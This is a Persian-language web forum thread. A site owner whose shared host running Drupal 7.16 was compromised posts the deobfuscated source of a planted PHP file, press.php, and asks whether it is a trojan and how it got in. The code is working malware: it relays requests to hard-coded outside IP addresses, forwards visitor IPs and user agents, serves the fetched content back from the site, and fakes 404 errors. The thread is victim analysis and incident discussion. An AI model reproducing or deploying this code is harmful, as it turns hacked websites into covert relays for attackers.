• 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
اسکریپت تروژان!
#1
برای اولین بار هک شدم. فایلی به اسم press.php توی فولدر روت آپلود شده که هم encode شده هم obfuscate.
یه مقداری باهاش سر و کله زدم و سورسش رو در آوردم:
کد پی‌اچ‌پی:
error_reporting(0);
ini_set("display_errors"0);
$key 0;
$i 0;
foreach (
str_split($_SERVER["REQUEST_URI"]) as $letter) {
    
$key += ord($letter);
    
$i++;
}
if (!(
$i 10)) {
    
$i();
    exit();
}
$key ^=  $key;
$key += 32;
$key str_repeat(chr($key), 8);
function 
error_404() {
    
header("HTTP/1.1 404 Not Found");
    
$uri preg_replace("/(\?).*\$/"""$_SERVER["REQUEST_URI"]);
    
$content http_request_custom("http://" $_SERVER["SERVER_NAME"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    
$content str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"$uri$content);
    exit(
$content);
}
$ip "125.89.44.28";
$port "80";
$path "/fdn/entry.php";
$query = array();
$query["ip"] = getIp();
$query["path"] = "$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$query["useragent"] = getUseragent();
$url "http://" convertIpToString(1048202089 ^ (ord($key[0]) + ord($key[1]) + (strstr(substr($_SERVER["REQUEST_URI"], -4), ".php") == FALSE 65 ip2long($ip)))) . ":" $port $path "?" http_build_query($query);
$content = @file_get_contents($url);
if (
strlen($content) < 10) {
    
error_404();
}
$content explode("\n"$content);
$filename array_shift($content);
$content implode("\n"$content);
if (
strstr($filename".html") === FALSE) {
    
$type "application/octet-stream";
    
header("Content-Type:" $type);
    
header("Content-Disposition: attachment; filename=" $filename);
    
header("Content-Length: " strlen($content));
}
echo 
$content;
exit();
function 
http_request_custom($params) {
    if (!
is_array($params)) {
        
$params = array("url" => $params"method" => "GET");
    }
    if (
$params["url"] == "") return FALSE;
    if (!isset(
$params["method"])) $params["method"] = (isset($params["data"]) && is_array($params["data"])) ? "POST" "GET";
    
$params["method"] = strtoupper($params["method"]);
    if (!
in_array($params["method"], array("GET""POST"))) return FALSE;
    
$url parse_url($params["url"]);
    if (!isset(
$url["scheme"])) $url["scheme"] = "http";
    if (!isset(
$url["path"])) $url["path"] = "/";
    if (!isset(
$url["host"]) && isset($url["path"])) {
        if (
strpos($url["path"], "/")) {
            
$url["host"] = substr($url["path"], 0strpos($url["path"], "/"));
            
$url["path"] = substr($url["path"], strpos($url["path"], "/"));
        } else {
            
$url["host"] = $url["path"];
            
$url["path"] = "/";
        }
    }
    
$url["path"] = preg_replace("/[\/]+/""/"$url["path"]);
    if (isset(
$url["query"])) $url["path"].= "?{$url['query']}";
    
$port = isset($params["port"]) ? $params["port"] : (isset($url["port"]) ? $url["port"] : ($url["scheme"] == "https" 443 80));
    
$timeout = isset($params["timeout"]) ? $params["timeout"] : 30;
    if (!isset(
$params["return"])) $params["return"] = "content";
    
$scheme $url["scheme"] == "https" "ssl://" "";
    
$fp = @fsockopen($scheme $url["host"], $port$errno$errstr$timeout);
    if (
$fp) {
        if (!isset(
$params["User-Agent"])) $params["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
        
$request "{$params['method']} {$url['path']} HTTP/1.0\n";
        
$request .= "Host: {$url['host']}\n";
        
$request .= "User-Agent: {$params['User-Agent']}"\n";
        if (isset(
$params["referer"])) $request .= "Referer: {$params['referer']}\n";
        if (isset(
$params["cookie"])) {
            
$cookie "";
            if (
is_array($params["cookie"])) {
                foreach (
$params["cookie"] as $k => $v$cookie .= "$k=$v; ";
                
$cookie substr($cookie0, -2);
            } else 
$cookie $params["cookie"];
            if (
$cookie != ""$request .= "Cookie: $cookie\n";
        }
        
$request.= "Connection: close\n";
        if (
$params["method"] == "POST") {
            if (isset(
$params["data"]) && is_array($params["data"])) {
                foreach (
$params["data"] AS $k => $v$data .= urlencode($k) . "=" urlencode($v) . "&";
                if (
substr($data, -1) == "&"$data substr($data0, -1);
            }
            
$data .= "\n\n";
            
$request .= "Content-type: application/x-www-form-urlencoded\n";
            
$request .= "Content-length: " strlen($data) . "\n";
        }
        
$request .= "\n";
        if (
$params["method"] == "POST"$request .= $data;
        @
fwrite($fp$request);
        
$res "";
        
$headers "";
        
$h_detected false;
        while (!@
feof($fp)) {
            
$res .= @fread($fp1024);
            if (!
$h_detected && strpos($res"\n") !== FALSE) {
                
$h_detected true;
                
$headers substr($res0strpos($res"\n"));
                
$res substr($resstrpos($res"\n") + 4);
                if (
$params["return"] == "headers" || $params["return"] == "array" || (isset($params["redirect"]) && $params["redirect"] == true)) {
                    
$h explode("\n"$headers);
                    
$headers = array();
                    foreach (
$h as $k => $v) {
                        if (
strpos($v":")) {
                            
$fgebfn "v";
                            
$k substr($v0strpos($v":"));
                            
$v trim(substr($$fgebfnstrpos($v":") + 1));
                        }
                        
$headers[strtoupper($k) ] = $v;
                    }
                }
                
$soprnmivykr "params";
                if (isset(
$params["redirect"]) && $params["redirect"] == true && isset($headers["LOCATION"])) {
                    
$params["url"] = $headers["LOCATION"];
                    if (!isset(
$params["redirect-count"])) $params["redirect-count"] = 0;
                    if (
$params["redirect-count"] < 10) {
                        
$params["redirect-count"]++;
                        
$func __FUNCTION__;
                        return @
is_object($this) ? $this->$func($params) : $func($params);
                    }
                }
                if (
$params["return"] == "headers") return $headers;
            }
        }
        @
fclose($fp);
    } else return 
FALSE;
    if (
$params["return"] == "array"$res = array("headers" => $headers"content" => $res);
    return 
$res;
}
function 
getUseragent() {
    return 
$_SERVER["HTTP_USER_AGENT"];
}
function 
getReferer() {
    
$referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "-";
    return 
$referer;
}
function 
convertIpToString($ip) {
    return 
long2ip($ip);
}
function 
getIp() {
    
$ip NULL;
    if (isset(
$_SERVER["REMOTE_ADDR"])) {
        
$ip $_SERVER["REMOTE_ADDR"];
    }
    if (
strpos($ip",") !== FALSE) {
        
$ips explode(","$ip);
        
$ip trim(array_pop($ips));
    }
    return 
$ip;

توی لاگ های سرور فقط یک جا این اسکریپت با uri زیر فراخوانی شده:
کد:
press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY
اسکریپت رو با این کوئری استرینگ تست کردم نتیجه این شد که آدرس زیر رو تولید می کنه و محتواش رو میخونه:
کد:
http://62.122.75.232:80/fdn/entry.php?ip={SITE IP}&path={ROOT PATH}press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY&useragent=Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:32.0)+Gecko/20100101+Firefox/32.0
(به جای {SITE IP} آی پی سایت و به جای {ROOT PATH} آدرس روت قرار میگیره)
پس از اینکه محتوا رو خوند اونو با مایم تایپ application/octet-stream سرو میکنه (که احتمالن csv باشه)

این مساله چندتا سوال برام ایجاد کرده که اگه دوستان محبت کنن و مشارکت کنن مطرح میکنم. (این تاپیک میتونه یه جور آموزش باشه برا دوستان کم تجربه ای مثل من برا سر و کله زدن با مشکلات امنیتی)
مهمترین سوالم اینه که این اسکریپته یه جور تروژانه؟
چرا باید یه بابایی از هاست من برا خوندن و سرو کردن فایلی استفاده کنه؟

---
ویرایش: عنوان ارسال اصلاح شد oia
  پاسخ
تشکر شده توسط :
#2
ما قبلا یه ریسلری داشتیم از یه سرور سوئدی.خیلی عالی بود اما یکی از سایتها حفره امنیتی داشت و یک نفر از سرور ما کارهای پولشویی انجام میداد و سروره کلا اکانت ما رو بست و حذف کرد حتی بدون اینکه بک آپ بهمون بده و صرفا گفت به چه دلیلی اینکار انجام شده.Blush
بنده طعم ايمان را نمي چشد، تا اينكه دريابد آنچه اتفاق نيفتاده است نمي شد كه اتفاق بيفتد؛و آنچه شده و اتفاق افتاده است,نمي شد كه نشود و اتفاق نيفتد....حضرت علي(ع)
  پاسخ
تشکر شده توسط : itstaghi
#3
هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
  پاسخ
تشکر شده توسط :
#4
نقل قول:هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
یه باگ برای دروپال مطرح شده که خود پشتیبان فارسی هم هک شده بود از این طریق
www.drupalcms.ir/node/2088
  پاسخ
تشکر شده توسط : itstaghi
#5
(۱۳۹۳ آذر ۰۸, ۰۲:۵۰ ب.ظ)Reza نوشته:
نقل قول:هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
یه باگ برای دروپال مطرح شده که خود پشتیبان فارسی هم هک شده بود از این طریق
www.drupalcms.ir/node/2088
این باگ و چندتا باگ مهم دیگه ای که اخیرن کشف شدن رو بررسی کردم. هیچکدوم به مورد من نمیخوره. نکته جالب اینجاست که هیچ اتفاقی توی دروپال نیفتاده (البته طبق بررسی های من) به این خاطر بعید میدونم که از یه باگ دروپال برای نفوذ استفاده شده باشه.
به نظر شما چقدر احتمال داره که هکر از طریق سوراخ سنبه ای مربوط به سرور و نرم افزارهای روش نفوذ کرده باشه؟
  پاسخ
تشکر شده توسط :
#6
نقل قول: به نظر شما چقدر احتمال داره که هکر از طریق سوراخ سنبه ای مربوط به سرور و نرم افزارهای روش نفوذ کرده باشه؟
چون هاستتون اشتراکیه یکی از احتمال های قوی همین هست .
  پاسخ
تشکر شده توسط :


پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان